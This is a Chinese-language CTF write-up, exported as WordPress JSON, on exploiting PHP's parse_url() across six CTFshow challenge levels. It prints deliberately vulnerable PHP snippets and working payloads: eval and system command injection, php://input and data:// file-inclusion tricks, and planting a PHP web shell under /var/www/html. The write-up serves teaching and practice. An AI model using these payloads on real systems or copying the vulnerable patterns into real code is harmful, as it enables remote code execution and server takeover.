{"id":314,"date":"2023-05-31T21:23:30","date_gmt":"2023-05-31T13:23:30","guid":{"rendered":"https:\/\/blog.byzhb.top\/?p=314"},"modified":"2023-05-31T21:27:30","modified_gmt":"2023-05-31T13:27:30","slug":"parse_url","status":"publish","type":"post","link":"https:\/\/blog.byzhb.top\/index.php\/2023\/05\/31\/parse_url\/","title":{"rendered":"CTF\u4e4bParse_url\u51fd\u6570"},"content":{"rendered":"

\u524d\u8a00\uff1a<\/h1>\n

\u672c\u6587\u7ae0\u4f8b\u9898\u6765\u6e90\u4e8eCTFshow\u6bcf\u5468\u5927\u6311\u6218<\/a>\uff0c\u6587\u4e2d\u82e5\u6709\u9519\u8bef\u8fd8\u8bf7\u6307\u51fa<\/p>\n

\u4ec0\u4e48\u662fPARSE_URL\u51fd\u6570\uff1f<\/h1>\n

parse_url() \u662f PHP \u5185\u7f6e\u51fd\u6570\u4e4b\u4e00\uff0c\u7528\u4e8e\u89e3\u6790 URL \u5b57\u7b26\u4e32\uff0c\u5c06\u5176\u62c6\u5206\u4e3a\u4e0d\u540c\u7684\u7ec4\u6210\u90e8\u5206\uff0c\u53ef\u4ee5\u83b7\u53d6\u534f\u8bae\u3001\u4e3b\u673a\u540d\u3001\u7aef\u53e3\u53f7\u3001\u8def\u5f84\u3001\u67e5\u8be2\u53c2\u6570\u7b49\u4fe1\u606f\u3002<\/p>\n

\u8bed\u6cd5\u4e3a\uff1a<\/h2>\n
parse_url ( string $url [, int $component = -1 ] )<\/code><\/pre>\n
\u793a\u4f8b\uff1a<\/h2>\n
<?php\n$url = 'http:\/\/user:pass@host\/path?args=value#anch';\nprint_r(parse_url($url));\necho parse_url($url, PHP_URL_PATH);\n?>\n\u7ed3\u679c\uff1a\nArray\n(\n    [scheme] => http\n    [host] => host\n    [user] => user\n    [pass] => pass\n    [path] => \/path\n    [query] => args=value\n    [fragment] => anch\n)<\/code><\/pre>\n
\u7b2c\u4e00\u5173\uff1a<\/h1>\n
<?php\n$data = parse_url($_GET['u']);\neval($data['host']);\n?><\/code><\/pre>\n
\u5206\u6790\u53ef\u5f97\uff0c\u8be5\u4ee3\u7801\u5c06parse_url\u51fd\u6570\u5904\u7406\u7ed3\u679c\u4f20\u9012\u7ed9 data\u6570\u7ec4\uff0c\u5e76\u5c06URL\u4e2d\u7684host\u90e8\u5206\u4f5c\u4e3aphp\u4ee3\u7801\u6267\u884c<\/p>\n
\n
\u8fd9\u91cc\u8bf4\u4e00\u4e0b\u4e3a\u4ec0\u4e48\u4e0d\u80fd\u76f4\u63a5\u5728host\u90e8\u5206\u76f4\u63a5\u4f20\u5165 system('ls \/')<\/code> \u7b49\u5e26\u201c\/\u201d<\/code>\u7684payload\uff0c\u56e0\u4e3a\u8be5\u51fd\u6570\u9ed8\u8ba4\u628a host\u90e8\u5206 \/  \u540e\u9762\u7684\u5b57\u7b26\u4e32\u8bc6\u522b\u4e3aPATH\u90e8\u5206<\/code>\uff0c\u8fd9\u6837\u6211\u4eec\u4f20\u5165\u7684host\u90e8\u5206\u53ea\u4e3a system('ls<\/code>  \u56e0\u800c\u65e0\u6cd5\u88ab\u6b63\u786e\u6267\u884c<\/p>\n<\/blockquote>\n
payload1\uff1a<\/h2>\n
?u=http:\/\/eval($_POST[w]);<\/code><\/pre>\n
POST\u4f20\u53c2\u8fdb\u884c\u547d\u4ee4\u6267\u884c\u5373\u53ef<\/p>\n
payload2\uff1a<\/h2>\n
?u=http:\/\/system(\u2018cd \u2026 ; cd \u2026 ; cd \u2026 ; ls\u2019);\/\n" ; " \u4e3a\u547d\u4ee4\u8fde\u63a5\u7b26\u7528\u4e8e\u4e00\u6761\u8bed\u53e5\u6267\u884c\u591a\u4e2a\u547d\u4ee4<\/code><\/pre>\n
\u8fd9\u91cc\u4f7f\u7528 cd..\u9010\u7ea7\u8df3\u8f6c\u76ee\u5f55\uff0c\u5de7\u5999\u5730\u66ff\u4ee3\u4e86\u7b26\u53f7 \/\uff08\u76f4\u63a5\u904d\u5386\u6839\u76ee\u5f55\uff09\uff0c\u4f46\u662fcd\u7684\u6b63\u786e\u5c42\u7ea7\u9700\u8981\u6162\u6162\u5c1d\u8bd5<\/p>\n
\u7b2c\u4e8c\u5173\uff1a<\/h1>\n
<?php\n\n$data = parse_url($_GET['u']);\n\ninclude $data['host'].$data['path'];\n?><\/code><\/pre>\n
\u5206\u6790\u53ef\u5f97\u8be5\u4ee3\u7801\u4f1a\u4f7f\u7528 include \u51fd\u6570\u5305\u542b \u6211\u4eec\u6240\u4f20\u5165URL\u7684host\u53ca path\u90e8\u5206<\/p>\n
payload1\uff1a<\/h2>\n
?u=http:php:\/\/input\n\nPOST\u4f20\u53c2\n<?php system('ls \/'); ?><\/code><\/pre>\n
\u8fd9\u91cc\u5229\u7528\u5230\u4e86\u8be5\u51fd\u6570\u7684\u4e00\u4e2a\u7279\u6027\uff1a<\/p>\n
\n
\u5f53\u6211\u4eec\u8f93\u5165?u=http:php:\/\/<\/code>\u8fd9\u6837\u7684\u683c\u5f0f\u65f6\uff0cpath\u4e3aphp:\/\/<\/code>
\nparse_url\u51fd\u6570\u4f1a\u628ahttp:\u540e\u9762<\/code>\u7684\u90e8\u5206\u5168\u90e8\u8bc6\u522b\u4e3apath\uff0chost\u90e8\u5206\u4e3a\u7a7a<\/p>\n<\/blockquote>\n
payload2\uff1a<\/h2>\n
?u=http:\/\/data:: \/\/text\/plain;base64,PD9waHAgcGhwaW5mbygpOz8+\n#host=data:\n#path=\/\/text\/plain;base64,PD9waHAgcGhwaW5mbygpOz8+<\/code><\/pre>\n
\u8fd9\u91cc\u4f7f\u7528\u7684data:\/\/\u4f2a\u534f\u8bae\u8fdb\u884c\u4f20\u53c2<\/p>\n
\n
\u89e3\u91ca\u4e00\u4e0b\u4e3a\u4ec0\u4e48data\u540e\u9762\u4f1a\u6709\u4e24\u4e2a\u5192\u53f7\uff0c\u8be5\u51fd\u6570\u4f1a\u9ed8\u8ba4\u6700\u540e\u4e00\u4e2a\u5192\u53f7\u540e\u9762\u662f\u7aef\u53e3port\uff0c\u5982\u679c\u53ea\u6709\u4e00\u4e2a\u5192\u53f7\u7684\u8bdd\uff0c\u6211\u4eec\u6240\u4f20\u5165\u7684host\u90e8\u5206\u4e3adata\uff0c\u5176\u4e2d\u7684\u5192\u53f7\u88ab\u5f53\u505a\u7aef\u53e3\u90e8\u5206\uff0c\u6240\u4ee5\u52a0\u4e00\u4e2a\u7ed5\u8fc7<\/p>\n<\/blockquote>\n
\u7b2c\u4e09\u5173\uff1a<\/h1>\n
<?php\n\n$data = parse_url($_GET['u']);\n\ninclude $data['scheme'].$data['path'];\n?><\/code><\/pre>\n
\u5206\u6790\u53ef\u5f97\u8be5\u4ee3\u7801\u4f1a\u4f7f\u7528include\u51fd\u6570\u5305\u542b\u6211\u4eec\u6240\u4f20\u5165URL\u7684 scheme\u53capath\u90e8\u5206<\/p>\n
payload1\uff1a<\/h2>\n
GET\u4f20\u53c2\n?u==php::\/\/input\n\nPOST\u4f20\u53c2\n<?php system('ls \/'); ?>\n\n#scheme\uff08\u4f20\u8f93\u534f\u8bae\uff09=php\n#path=:\/\/input\n<\/code><\/pre>\n
\u8fd9\u91cc\u548c\u7b2c\u4e8c\u5173\u7684payload1\u539f\u7406\u76f8\u4f3c\uff0c\u8be5\u51fd\u6570\u4f1a\u628ascheme\uff08\u4f20\u8f93\u534f\u8bae\uff09\u540e\u7684\u7b2c\u4e00\u4e2a\u5192\u53f7\u540e\u7684\u5185\u5bb9\u8bc6\u522b\u4e3apath
\n\u4f8b\u5982\uff1a<\/p>\n
\n
\u5f53\u6211\u4eec\u8f93\u5165?u=http::\/\/good<\/code>   \u65f6\uff0c
\npath\u662f \u201c:\/\/good\u201d<\/code>
\nscheme\u662f \u201chttp\u201d<\/code>
\n\u62fc\u63a5\u5728\u4e00\u8d77\u5c31\u662f\u201chttp:\/\/123<\/a>\u201d\u3002
\n\u6211\u4eec\u8981\u4f7f\u7528php:\/\/input\u4f2a\u534f\u8bae\uff0c\u53ea\u9700\u5c06http\u6539\u4e3aphp\uff0c\u5c06:\/\/good\u6539\u4e3a:\/\/input\u5373\u53ef<\/p>\n<\/blockquote>\n
payload2\uff1a<\/h2>\n
 ?u=data::\/\/text\/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgL19mMWFfZ18xc19oM3JlIik7Pz4=<\/code><\/pre>\n
\u4e0epayload1\u539f\u7406\u4e00\u6837\uff0c\u53ea\u662f\u628a php:\/\/input \u4f2a\u534f\u8bae\u6362\u4e3a\u4e86 data:\/\/<\/p>\n
\u7b2c\u56db\u5173\uff1a<\/h1>\n
<?php\n\n$data = parse_url($_GET['u']);\n\nsystem($data['host']);\n?><\/code><\/pre>\n
\u5206\u6790\u53ef\u5f97\u8be5\u4ee3\u7801\u4f1a\u5c06URL\u7684host\u90e8\u5206\u5f53\u505a\u7cfb\u7edf\u547d\u4ee4\u6267\u884c<\/p>\n
payload1\uff1a<\/h2>\n
?u=http:\/\/cd ..;cd ..;cd ..;ls<\/code><\/pre>\n
\u4e0e\u7b2c\u4e00\u5173\u7684payload2\u539f\u7406\u4e00\u6837\uff0c\u90fd\u662f\u4f7f\u7528\u7684cd\u9010\u7ea7\u8df3\u8f6c\u76ee\u5f55<\/p>\n
\u7b2c\u4e94\u5173\uff1a<\/h1>\n
<?php\nextract(parse_url($_GET['u']));\ninclude $$$$$$host;\n?><\/code><\/pre>\n
\u5173\u4e8eextrac\u51fd\u6570\u53ef\u4ee5\u53c2\u8003\u6211\u7684\u8fd9\u7bc7\u6587\u7ae0<\/a><\/p>\n
\u8fd9\u9053\u9898\u672c\u8d28\u5c31\u662f\u5229\u7528URL\u7684\u5404\u7ec4\u6210\u90e8\u5206\u8fdb\u884c\u53d8\u91cf\u5957\u5a03<\/p>\n
payload1\uff1a<\/h2>\n
GET\u4f20\u53c2\n?u=user:\/\/pass:fragment@scheme\/?php:\/\/input%23query\n\u6ce8\uff1a%23\u662f#\u7684url\u7f16\u7801\uff0c\u5982\u679c\u4e0d\u5199%23\u76f4\u63a5\u5199#\uff0c#\u540e\u7684\u5185\u5bb9\u4f1a\u88ab\u6d4f\u89c8\u5668\u76f4\u63a5\u8fc7\u6ee4\u6389\u3002\n\nPOST\u4f20\u53c2\n<?php system('ls \/');?>\n\n\u8fd9\u6837\u7684\u8bdd:\n$host=scheme\n$$host=$scheme=user\n$$$host=$user=pass\n$$$$host=$pass=fragment\n$$$$$host=$fragment=query\n$$$$$$host=$query=php:\/\/input<\/code><\/pre>\n
\u7b2c\u516d\u5173\uff1a<\/h1>\n
<?php\n$data = parse_url($_GET['u']);\nfile_put_contents($data['path'], $data['host']);\n?><\/code><\/pre>\n
\u5206\u6790\u4ee3\u7801\u53ef\u5f97 \u53ef\u4ee5\u7528file_put_contents\u51fd\u6570\uff0c\u5f80path\u4ee3\u8868\u7684\u6587\u4ef6\u91cc\u5199\u5165host\u4ee3\u8868\u7684\u5185\u5bb9\uff0c\u5982\u679c\u6587\u4ef6\u4e0d\u5b58\u5728\u7684\u8bdd\uff0c\u4f1a\u81ea\u52a8\u521b\u5efa\u6587\u4ef6\uff0c\u6211\u4eec\u53ef\u4ee5\u501f\u6b64getshell\u6216\u8005\u4f20\u5165system\u547d\u4ee4<\/p>\n
payload1\uff1a<\/h2>\n
?u=http:\/\/<script language='php'>phpinfo();\/var\/www\/html\/a.php\n\n#$data['host']=<script language='php'>eval($_GET[1]);;\n#$data['path']=\/var\/www\/html\/a.php\n\n\u7136\u540e\u8bbf\u95eea.php\nurl\/a.php?1=system('ls \/');<\/code><\/pre>\n
\n
\u8fd9\u91cc\u89e3\u91ca\u4e0b\u4e3a\u4ec0\u4e48PHP\u4ee3\u7801\u8981\u7528\\<script>\u6807\u7b7e\u8868\u793a
\n\u7531\u4e8e?\u540e\u9762\u4f1a\u88ab\u89e3\u6790\u6210query\uff0c\u6240\u4ee5\u9700\u8981\u66f4\u6362php\u6807\u7b7e\uff0c\u8fd9\u91cc\u7528\u7684js,\u7531\u4e8epath\u4e2d\u4e00\u5b9a\u4f1a\u6709\/\uff0c\u6240\u4ee5\u9009\u62e9\u7edd\u5bf9\u8def\u5f84\u4e0a\u4f20\uff0c\u8fd9\u91cc\u8def\u5f84\u731c\u6d4b\u9ed8\u8ba4\u8def\u5f84
\n\u7edd\u5927\u591a\u6570CTF\u8d5b\u9898\u7684web\u8def\u5f84\u90fd\u4e3a \/var\/www\/htm<\/code><\/p>\n<\/blockquote>\n
payload2\uff1a<\/h2>\n
getshell\u65b9\u6cd5<\/p>\n
?u=\/\/<script language="php"> eval($_POST['1']);\/var\/www\/html\/1.php<\/code><\/pre>\n
\u5bc6\u7801\u4e3a1\uff0c\u8681\u5251\u8fde\u63a5\u5373\u53ef<\/p>\n","protected":false},"excerpt":{"rendered":"
parse_url() \u662f PHP \u5185\u7f6e\u51fd\u6570\u4e4b\u4e00\uff0c\u7528\u4e8e\u89e3\u6790 URL \u5b57\u7b26\u4e32\uff0c\u5c06\u5176\u62c6\u5206\u4e3a\u4e0d\u540c\u7684\u7ec4\u6210\u90e8\u5206\uff0c\u53ef\u4ee5\u83b7\u53d6\u534f\u8bae\u3001\u4e3b\u673a\u540d\u3001\u7aef\u53e3\u53f7\u3001\u8def\u5f84\u3001\u67e5\u8be2\u53c2\u6570\u7b49\u4fe1\u606f\u3002<\/p>\n","protected":false},"author":1,"featured_media":316,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10,1,22],"tags":[15,7,26],"class_list":["post-314","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","category-uncategorized","category-webs","tag-ctf","tag-php","tag-web"],"_links":{"self":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/314","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/comments?post=314"}],"version-history":[{"count":3,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/314\/revisions"}],"predecessor-version":[{"id":319,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/posts\/314\/revisions\/319"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media\/316"}],"wp:attachment":[{"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/media?parent=314"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/categories?post=314"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.byzhb.top\/index.php\/wp-json\/wp\/v2\/tags?post=314"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}